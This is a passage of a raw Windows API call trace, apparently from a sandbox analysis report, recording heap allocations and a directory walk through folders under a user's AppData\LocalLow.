lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.696] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.697] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.698] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.698] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0068.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175a30 [0068.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0068.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0068.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0068.699] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.700] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.700] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.700] PathFindFileNameW (pszPath="") returned="" [0068.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.700] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.700] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.700] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0068.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0068.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2c88 [0068.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c) returned 0x325eb88 [0068.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2d20 [0068.700] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0068.700] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.700] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.700] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2bf0 [0068.701] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2c88 [0068.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0068.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32600c8 [0068.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175a30 [0068.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0068.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0068.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0068.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.701] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.701] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.701] PathFindFileNameW (pszPath="") returned="" [0068.701] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2c88 [0068.701] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.702] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.702] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0068.702] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.702] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eda08 [0068.702] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x38) returned 0x31befa0 [0068.702] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2c88 [0068.702] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0068.702] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.702] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.702] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0068.702] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.702] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eda08 [0068.702] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.702] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0068.702] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.702] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf90 [0068.702] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0068.702] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.702] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0068.702] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.703] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0068.703] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.703] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.703] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.703] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.703] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.703] PathFindFileNameW (pszPath="") returned="" [0068.703] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eda08 [0068.703] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.703] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.703] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content", cAlternateFileName="")) returned 1 [0068.703] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0068.703] RtlAllocateHeap 